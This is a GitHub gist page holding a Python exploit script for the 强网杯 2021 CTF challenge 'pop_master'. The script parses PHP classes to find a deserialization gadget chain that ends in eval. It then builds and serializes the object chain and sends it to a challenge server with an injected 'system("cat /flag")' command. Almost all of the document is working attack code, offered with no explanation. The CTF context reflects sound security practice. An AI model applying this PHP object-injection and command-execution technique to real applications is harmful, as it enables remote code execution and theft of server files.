Last active
June 24, 2021 09:09
-
-
Save frankli0324/0a9de91a57d5230a213d2df725b51143 to your computer and use it in GitHub Desktop.
强网杯2021 pop_master exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from phpserialize import serialize | |
from requests import session | |
from phply import phplex | |
from phply.phpast import * | |
from phply.phpparse import make_parser | |
ses = session() | |
classes = {} | |
func2class = {} | |
parser = make_parser() | |
good_paths = [] | |
with open('class.php') as file: | |
lexer = phplex.lexer.clone() | |
ast = parser.parse(file.read(), lexer=lexer) | |
for cls in ast: | |
for i in cls.nodes: | |
if type(i) is Method: | |
func2class[i.name] = cls.name | |
classes[cls.name] = cls | |
def is_good_assign(ctx_param, node: Assignment): | |
assert type(node) == Assignment | |
if ctx_param.name == node.node.name: | |
if type(node.expr) == BinaryOp: | |
if node.expr.op == '.': | |
if node.expr.left.name == ctx_param.name: | |
return True | |
else: | |
return False | |
else: | |
print(node) | |
# unexpected | |
elif type(node.expr) == Variable: | |
if node.expr.name == ctx_param.name: | |
return True | |
return False | |
return False | |
return True | |
def handle_if(ctx_param, node: If): | |
assert type(node) == If | |
if type(node.expr) is BinaryOp: | |
# debug | |
if eval(str(node.expr.left)+node.expr.op+str(node.expr.right)): | |
for n in node.node.nodes: | |
if type(n) is Assignment and not is_good_assign(ctx_param, n): | |
return False | |
elif type(node.expr) is FunctionCall: | |
if node.expr.name == 'method_exists': | |
func = node.expr.params[1].node | |
assert(type(func) == str) | |
search(classes[func2class[func]], | |
node.expr.params[0].node.name, func) | |
else: | |
print('unexpected call') | |
else: | |
print('unexpected expr') | |
return True | |
def handle_method(ctx, method): | |
ctx.param = method.params[0] | |
for i in method.nodes: | |
if type(i) is For: | |
for n in i.node.nodes: | |
if type(n) is Assignment and not is_good_assign(method.params[0], n): | |
return False | |
elif type(i) is If: | |
if not handle_if(method.params[0], i): | |
return False | |
elif type(i) is MethodCall: | |
search(classes[func2class[i.name]], i.node.name, i.name) | |
elif type(i) is Assignment: | |
if not is_good_assign(method.params[0], i): | |
return False | |
elif type(i) is Eval: | |
return True | |
def search(node, attr, method, path=[]): | |
path.append((node, attr, method)) | |
for i in node.nodes: | |
if type(i) is Method and i.name == method: | |
ctx = type('', (object,), {})() | |
if handle_method(ctx, i): | |
good_paths.append(list(path)) | |
path.pop() | |
good_paths = [] | |
search(classes['dLEWX3'], '', 'L8IHXt') | |
print(len(good_paths)) | |
for n, a, m in good_paths[0]: | |
print(n.name, a, m) | |
def prop_call(parent, attr, cls): | |
setattr(parent, attr, type(cls, (object,), {})()) | |
return getattr(parent, attr) | |
root = type('dLEWX3', (object,), {})() | |
node = root | |
path = good_paths[0] | |
for i in range(1, len(path)): | |
node = prop_call(node, path[i][1], path[i][0].name) | |
print(serialize(root)) | |
print(ses.get('http://my_instance.cloudeci1.ichunqiu.com/', params={ | |
'pop': serialize(root), | |
'argv': 'system("cat /flag"); //', | |
}).text) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment